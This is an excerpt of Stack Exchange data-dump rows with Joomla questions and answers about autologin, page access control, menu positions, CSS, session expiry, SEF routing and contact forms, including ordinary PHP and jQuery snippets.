  <row Id="14869" PostTypeId="2" ParentId="14864" CreationDate="2016-01-05T10:16:37.940" Score="1" Body="&lt;p&gt;&lt;strong&gt;Joomla Autologin Extension&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are free plugins available to do this at &lt;a href=&quot;http://www.textarea.it/en/joomla-free-extensions/joomla-autologin-extension.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;textarea.it&lt;/a&gt; but the link is currently broken. Direct links to the plugins still seem to be working:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.textarea.it/images/extensions/plg_autologin.2.5.2.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;download plg_autologin.2.5.2.zip&lt;/a&gt; Joomla! 2.5, 3.0 and 3.1 native&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.textarea.it/images/extensions/plg_autologin.1.3.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;download plg_autologin.1.3.zip&lt;/a&gt; Joomla! 1.5 native&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Allow Logins from customer IP Addresses&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option may be to install &lt;a href=&quot;http://extensions.joomla.org/extension/auto-login-ip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Auto Login IP&lt;/a&gt; or &lt;a href=&quot;http://extensions.joomla.org/extension/ip-login&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs IP Login&lt;/a&gt; (both free) or similar so authorised customers can login without entering credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably only practical for customers with static IP addresses so may not be suitable in your situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Develop your own login page&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can probably implement your own login page along the lines of &lt;a href=&quot;https://stackoverflow.com/a/4195116/1983389&quot;&gt;https://stackoverflow.com/a/4195116/1983389&lt;/a&gt; to achieve similar functionality to the Joomla Autologin Extension above.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security Considerations&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: As per the Stack Overflow post, some of these methods are not a good idea from a security point of view and you should think carefully about the security implications before proceeding.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-06-24T10:54:06.973" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="14870" PostTypeId="2" ParentId="14866" CreationDate="2016-01-05T10:29:40.397" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Yes, &lt;code&gt;getExpire()&lt;/code&gt; returns result in seconds. As you can see &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/9e948130acb79d189255625df47c0b57afc00534/libraries/cms/application/cms.php#L718&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/3cfe5ab695825b5ed8edf22a8c227c7974968de9/libraries/joomla/factory.php#L595&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, they are converting &lt;code&gt;lifetime&lt;/code&gt; value to seconds (default is 15 minutes, so 900 seconds).&lt;/li&gt;&#xA;&lt;li&gt;Documentation is automatically generated from source code. So you should create a &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues&quot; rel=&quot;nofollow&quot;&gt;new issue&lt;/a&gt; and describe the bug. Or I can do that. Let me know.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-01-05T10:29:40.397" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14872" PostTypeId="1" CreationDate="2016-01-05T18:36:45.760" Score="0" ViewCount="86" Body="&lt;p&gt;I have a few pages with custom forms that interact with a database on the backend.  However; none of the plugins that were meant to embed your PHP code inside of a Joomla article worked well enough.  (They could not perform update queries.)  In the end, the only reasonable thing was to create a few plain .php pages.  However; these forms can be used to list tenants and their personal information.  I need a way of restricting access to these pages to &lt;em&gt;only&lt;/em&gt; registered Joomla users.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?  Alternatively, a library would also work fine.  They do not need to be logged into the Joomla site for any reason other than these forms; so they could authenticate any other way.  I just figured Joomla would be the easiest.  Could it be as simple as placing the .php files inside a certain directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jesse &lt;/p&gt;&#xA;" OwnerUserId="7268" LastActivityDate="2016-02-05T02:48:35.993" Title="Extend Joomla Authentication to plain HTML page?" Tags="|php|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14874" PostTypeId="1" CreationDate="2016-01-05T19:58:37.590" Score="2" ViewCount="1053" Body="&lt;p&gt;Can someone please show me how to move a menu and its sub-menus from one Menu Location to another in one shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have about 15 Sub menus for each main menu and I would like to move the main menu and accompanying menus to another menu location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone show me how its done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="5843" LastActivityDate="2016-01-06T08:30:23.083" Title="How to move menus and sub menus" Tags="|joomla-3.4|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14875" PostTypeId="2" ParentId="14874" CreationDate="2016-01-05T20:39:02.213" Score="2" Body="&lt;p&gt;Your template has to support a module position in the target area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can go to the modules page in the backend, open the menu module and on the right site &quot;position&quot; you can select or write the position name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are confirm with HTML you can take a look into the index.php in the template folder. Here you should see how position are implemented (short php codes). Just copy a position and rename it. Then you can write that name in the model position field in the backend.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2016-01-05T20:39:02.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14876" PostTypeId="2" ParentId="14872" CreationDate="2016-01-06T02:26:43.590" Score="1" Body="&lt;p&gt;You could try something like this. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    define( '_JEXEC', 1 );&#xA;&#xA;    // defining the base path.&#xA;    define(JPATH_BASE,  $_SERVER[ 'DOCUMENT_ROOT']);&#xA;    require_once (JPATH_BASE .'/includes/defines.php' );&#xA;    require_once( JPATH_BASE .'/includes/framework.php' );&#xA;&#xA;    // Creating an app instance &#xA;    $app =&amp;amp; JFactory::getApplication('site');&#xA;    $app-&amp;gt;initialise();&#xA;&#xA;    jimport( 'joomla.user.user' );&#xA;    jimport( 'joomla.user.helper' );&#xA;    $user = JFactory::getUser();    &#xA;    $createdby = $user-&amp;gt;id;&#xA;&#xA;    if ($createdby == 0){&#xA;        // get the heck out of dodge! &#xA;        echo &quot;Opps, looks like you are not logged in.&quot;;&#xA;    }&#xA;    else {&#xA;        // else we are logged in and we can show the form&#xA;        echo &quot;hello world, my form would go here.&quot;;&#xA;&#xA;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That might get you going for now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I think a better approach would be to use a Joomla component builder to create basically an empty component that you could then plug your forms into. That would ensure you are following a proper Joomla MVC structure and using the authentication features correctly. Take a look at Joomla Component Creator to see an example of that type of tool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="3779" LastActivityDate="2016-01-06T02:26:43.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14877" PostTypeId="1" CreationDate="2016-01-06T03:09:14.923" Score="-1" ViewCount="246" Body="&lt;p&gt;I want to adjust (align) the content (body) of my Joomla site as it's shown on the images attached to this question. There're picture 1 and picture 2. I want it to be like on a picture 1. Basically, I want to decrease spacing above the top horizontal main menu.&lt;a href=&quot;https://i.stack.imgur.com/DEhbX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DEhbX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WFIVQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WFIVQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;The big spacing above my upper horizontal main menu was due to some &quot;gkToolbar&quot;, which is probably unnecessary from what I was told. After this adjustment, I had 10px spacing above and below upper horizontal main menu. But I still don't know how to change (lessen) the upper space (10px). I've got J 2.5 and MyStore template. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#gkToolbar {&#xA;display: none; } body { margin: 0 !important;&#xA;/* color: #6C6459;&#xA;height: 25px;&#xA;margin: 20px 0 0;&#xA;overflow: hidden;&#xA;padding: 10px 0 0; */&#xA;}&#xA;&#xA;#gkMenuWrap {&#xA;margin-bottom: 5px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7161" LastEditorUserId="115" LastEditDate="2016-01-07T09:11:28.840" LastActivityDate="2017-08-19T14:35:01.837" Title="How to adjust Joomla site position?" Tags="|joomla-2.5|templates|css|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14878" PostTypeId="2" ParentId="14874" CreationDate="2016-01-06T05:08:50.513" Score="3" Body="&lt;p&gt;To move a menu location to another, you mean to assign it to a new position? If yes, then following steps needs to be followed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) In templates/tpl_name/templateDetails.xml : add a new position as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;position&amp;gt;position_name&amp;lt;/position&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) In templates/tpl_name/index.php : add the following line wherever you want the menu location to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position_name&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) Login to administrator section now, create a new module from Module Manager of type &lt;code&gt;menu&lt;/code&gt; and assign it to the position &lt;code&gt;position_name&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Now your menu will be assigned it to new location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Note: If you already have a position then you can skip step (1)&amp;amp; (2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerDisplayName="user5491" LastActivityDate="2016-01-06T05:08:50.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14879" PostTypeId="2" ParentId="14874" CreationDate="2016-01-06T07:28:47.370" Score="2" Body="&lt;p&gt;To move menu from one position to other, you need to either create a new module or change module positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several module positions assigned in a template, to check which position is exactly meeting your needs, just check all the positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be done very easily. Here are the following steps :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Just Log in to the Admin panel and go to the &lt;strong&gt;Template manager&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Click on the &lt;strong&gt;Options&lt;/strong&gt; button placed at the right side, and then make ' &lt;strong&gt;Preview Module Positions'&lt;/strong&gt; to &lt;strong&gt;ENABLED&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can check it with the screenshot attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UajJq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UajJq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lBWSr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lBWSr.png&quot; alt=&quot;Position to be managed&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;And last you just need to go to your website URL, and add &lt;strong&gt;?tp=1&lt;/strong&gt; to the URL. For example : &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;example.com?tp=1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And if you need to create new positions you can do it by doing changes in your template's index and xml file. And that is already mentioned in @ruchika answer.&lt;/p&gt;&#xA;" OwnerUserId="5319" LastEditorUserId="5319" LastEditDate="2016-01-06T08:30:23.083" LastActivityDate="2016-01-06T08:30:23.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14880" PostTypeId="2" ParentId="14739" CreationDate="2016-01-06T11:25:39.437" Score="2" Body="&lt;p&gt;The easiest approach is to simply add the fields as additional properties of the attribs, so you don't need to handle database changes; the additional properties will be stored as a string representing a json object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the document you linked, &lt;code&gt;&amp;lt;fields name=&quot;attribs&quot;&amp;gt;&lt;/code&gt; is the container of all custom properties in the manifest file (the .xml), and it will automatically handle the persistance for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Positive connsiderations: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you only create and inject the manifest, the framework handles the rest;&lt;/li&gt;&#xA;&lt;li&gt;there is no need for database changes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Negative considerations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Search requires you to handle the json structure of the attribs field&lt;/li&gt;&#xA;&lt;li&gt;Search will be incredibly slower unless you add json support to your database, and implement the proper indexes, which will put you in a non-default situation. This only applies with 1000+ articles or very slow hosting.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="377" LastActivityDate="2016-01-06T11:25:39.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14881" PostTypeId="1" CreationDate="2016-01-06T15:51:38.130" Score="2" ViewCount="485" Body="&lt;p&gt;A web developer designed my site so that to get to a certain area in my site a user will need to login with a username and password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see how the developer configured the area so that users have to login first. I want users be able to access the page / area without having to login, but not sure where I need to make the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone assist me?&lt;/p&gt;&#xA;" OwnerUserId="5843" LastEditorUserId="1629" LastEditDate="2016-01-06T16:09:32.703" LastActivityDate="2016-01-06T16:22:10.387" Title="How to disable login screen" Tags="|joomla-3.4|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14882" PostTypeId="2" ParentId="14881" CreationDate="2016-01-06T16:22:10.387" Score="3" Body="&lt;p&gt;It's likely that your developer configured one or more menu items or articles to be available to restricted users only (or another custom user group). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit this by going to &lt;strong&gt;Menus&lt;/strong&gt; -&gt; &lt;strong&gt;[YOUR MENU]&lt;/strong&gt;. You'll see something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ALva6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ALva6.jpg&quot; alt=&quot;Menu item access control&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is called access control, and anything different than &lt;code&gt;Public&lt;/code&gt; will require username/password in order to view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When editing a menu item, on the right hand side you'll find a drop down list where you can select who can view the menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p6ePn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p6ePn.jpg&quot; alt=&quot;Menu item access control&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can also be applied to articles, modules, categories etc., so you'll have to look through your site and see where this has been enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change settings to &lt;code&gt;Public&lt;/code&gt; in order to let anyone visit your content.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-01-06T16:22:10.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14883" PostTypeId="2" ParentId="14864" CreationDate="2016-01-06T16:53:58.550" Score="1" Body="&lt;p&gt;You can use a few lines of jQuery to fill out the form. Just make sure the username/password you provide only gives limited access to your site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($) { &#xA;    $(&quot;#username&quot;).val(&quot;Guest&quot;);&#xA;    $(&quot;#password&quot;).val(&quot;guest123&quot;);&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By adding this code to your page, the fields will be filled in with your login data. The user will still have to click the login button, though. If you also want to submit the form automatically, you can do something like this after line #3:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.login form&quot;).submit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(In order to add the script to your page, you can use an extension like &lt;a href=&quot;https://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Sourcerer&lt;/a&gt; or similar).&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-01-06T16:53:58.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14884" PostTypeId="1" CreationDate="2016-01-07T01:05:54.627" Score="5" ViewCount="1140" Body="&lt;p&gt;How do I make a javascript notice in my Joomla page when session is about to expire? Also still not sure why Joomla 3.4.5 session is not expiring or redirecting page to my home page after setting my session to 5 mins in session lifetime of  Global config? I logged in as a regular user. I  have 2 modules using a login module. One is a link(top of the page) for modal login and the other one just to display the username in the body of the page (with the form hidden). Any suggestion?&lt;/p&gt;&#xA;" OwnerUserId="7566" LastActivityDate="2016-01-08T21:05:02.700" Title="How to make a notice that session is expiring in Joomla?" Tags="|session|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14886" PostTypeId="2" ParentId="14884" CreationDate="2016-01-07T07:16:13.363" Score="4" Body="&lt;p&gt;There's actually a free Joomla! extension that will do just this. It's called Session Keeper and you can view it in the JED here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/session-keeper&quot;&gt;Session Keeper&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It worked for my site when I utilized it, so hopefully it works for you as well! It allows you to set session lengths and display modal pop-ups when sessions start to expire. Hope it works for you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, &lt;br&gt;-J&lt;/p&gt;&#xA;" OwnerUserId="7546" LastActivityDate="2016-01-07T07:16:13.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14887" PostTypeId="2" ParentId="14851" CreationDate="2016-01-07T09:44:54.660" Score="1" Body="&lt;p&gt;It is definitely possible, if you mean the meta keywords.&#xA;AFAIK, the &quot;Related Articles&quot;-Plugin uses the meta keywords and has a corresponding database-call in its code.&#xA;You can find the code for that in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/modules/mod_related_items/helper.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you want to look at lines 53-83 (at least in my version).&#xA;The important part (and the answer to your question, should look something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get the database and an array of the existing article_ids&#xA;$db = JFactory::getDbo();&#xA;$article_ids = array() // tbh I don't recall the exact JFactory call you'd&#xA;// have to call, but you can probably work that one out.&#xA;&#xA;// all the following is taken from mod_related_articles&#xA;foreach ($article_ids as $id) {&#xA;    $query-&amp;gt;select('metakey')&#xA;            -&amp;gt;from('#__content')&#xA;            -&amp;gt;where('id = ' . (int) $id);&#xA;    $db-&amp;gt;setQuery($query);&#xA;}&#xA;&#xA;// now trim and explode the result of the query&#xA;$metakey = trim($db-&amp;gt;loadResult());&#xA;$keys = explode(',', $metakey);&#xA;$likes = array();&#xA;&#xA;foreach ($keys as $key)&#xA;{&#xA;    $key = trim($key);&#xA;    if ($key) {&#xA;        $likes[] = $db-&amp;gt;escape($key);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2016-01-07T09:44:54.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14888" PostTypeId="1" CreationDate="2016-01-07T12:29:44.247" Score="0" ViewCount="275" Body="&lt;p&gt;I developed an ecommerce component and I have the following problem that I hope you could help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The component has a locations manager where we can enlist cities such as: Madrid, London, Paris, Rome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when the user selects a city the website will filter products and companies by that city.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I choose Madrid I will see  products available for Madrid only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally we publish a module above that allows the user to change city if he/she wants by showing a list of cities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link of a city will call a task in my controller that sets a cookie with the city ID and redirects to home page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the content is filtered on the web using the value of the cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the tedious introduction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The links are like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://theweb.com/deal/dealSetLocationCookie?locationId=1&quot; rel=&quot;nofollow&quot;&gt;http://theweb.com/deal/dealSetLocationCookie?locationId=1&lt;/a&gt;&#xA;&lt;a href=&quot;http://theweb.com/deal/dealSetLocationCookie?locationId=2&quot; rel=&quot;nofollow&quot;&gt;http://theweb.com/deal/dealSetLocationCookie?locationId=2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://theweb.com/index.php?option=com_mycom&amp;amp;controller=deal&amp;amp;task=dealSetLocationCookie&amp;amp;locationId=2&quot; rel=&quot;nofollow&quot;&gt;http://theweb.com/index.php?option=com_mycom&amp;amp;controller=deal&amp;amp;task=dealSetLocationCookie&amp;amp;locationId=2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and my customers want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://theweb.com/madrid&quot; rel=&quot;nofollow&quot;&gt;http://theweb.com/madrid&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://theweb.com/london&quot; rel=&quot;nofollow&quot;&gt;http://theweb.com/london&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I could create menu elements using the links, but that means lot more work because some costumers have lots of cities and it is necessary to have then registered in my component and also in the menu manager too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for my module to generate links like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://theweb.com/madrid&quot; rel=&quot;nofollow&quot;&gt;http://theweb.com/madrid&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but internally meaning &lt;a href=&quot;http://theweb.com/deal/dealSetLocationCookie?locationId=1&quot; rel=&quot;nofollow&quot;&gt;http://theweb.com/deal/dealSetLocationCookie?locationId=1&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I try to automatic generate menu elements from my locations manager, but how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-01-12T09:18:03.587" Title="Friendly links to call a controller task" Tags="|development|seo|controller|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14889" PostTypeId="2" ParentId="14888" CreationDate="2016-01-07T13:00:49.287" Score="2" Body="&lt;p&gt;Ofcourse you can use clean urls in your component. For this, you will need to modify the &lt;code&gt;router.php&lt;/code&gt; file in your component for site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please refer the following link for it: &#xA;&lt;a href=&quot;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can refer the following example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Function: ComponentNameBuildRoute&lt;/strong&gt; in &lt;code&gt;router.php&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ComponentNameBuildRoute(&amp;amp;$query)&#xA;{&#xA;if(isset($query['view'])){&#xA;        $segments[] = $query['view'];&#xA;        unset($query['view']);&#xA;    }&#xA;if(isset($query['locationId'])){&#xA;        $segments[] = $query['locationId'];&#xA;        unset($query['locationId']);&#xA;    }&#xA;if(isset($query['task'])){&#xA;        $segments[] = $query['task'];&#xA;        unset($query['task']);&#xA;    }&#xA;}//function ends : here you add those paramaters passed by you in the link&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Next function: ComponentNameParseRoute&lt;/strong&gt; in &lt;code&gt;router.php&lt;/code&gt; : Segment according to your indexing. This is just an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ComponentNameParseRoute($segments){&#xA;    $vars = array();&#xA;    switch($segments[0])&#xA;           {&#xA;               case 'viewname1':&#xA;                       $vars['view'] = 'viewname1';&#xA;                       $vars['task'] = $segments[1];&#xA;                       $vars['locationId'] = $segments[2];&#xA;                       break;&#xA;                case 'viewname2':&#xA;                       $vars['view'] = 'viewname2';&#xA;                       $vars['locationId'] = $segments[0];&#xA;                       break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerDisplayName="user5491" LastEditorUserId="3637" LastEditDate="2016-01-12T09:18:03.587" LastActivityDate="2016-01-12T09:18:03.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14890" PostTypeId="1" CreationDate="2016-01-07T14:26:42.227" Score="0" ViewCount="248" Body="&lt;p&gt;I have several links on my page that should refer to a joomla contact form. I want to have automatically filled in email subjects to that contact form for each link.&#xA;I tried to solve it with get params but with no success. &#xA;This is the email subject text field I could extract from the html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;input type=&quot;text&quot; aria-required=&quot;true&quot; required=&quot;required&quot; size=&quot;60&quot; class=&quot;required&quot; value=&quot;&quot; id=&quot;jform_contact_emailmsg&quot; name=&quot;jform[contact_subject]&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to send post params like that, but it does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://my.domain/index.php/contact?jform_contact_emailmsg=test&#xA;http://my.domain/index.php/contact?jform_contact_emailmsg&amp;amp;value=test&#xA;http://my.domain/index.php/contact?jform[contact_subject]=test&#xA;http://my.domain/index.php/contact?jform[contact_subject]&amp;amp;value=test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this the right way? Are there any other easier solutions?&lt;/p&gt;&#xA;" OwnerUserId="3956" LastActivityDate="2016-11-02T21:27:41.917" Title="Joomla custom contact forms (e.g. subject)" Tags="|joomla-3.x|form|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
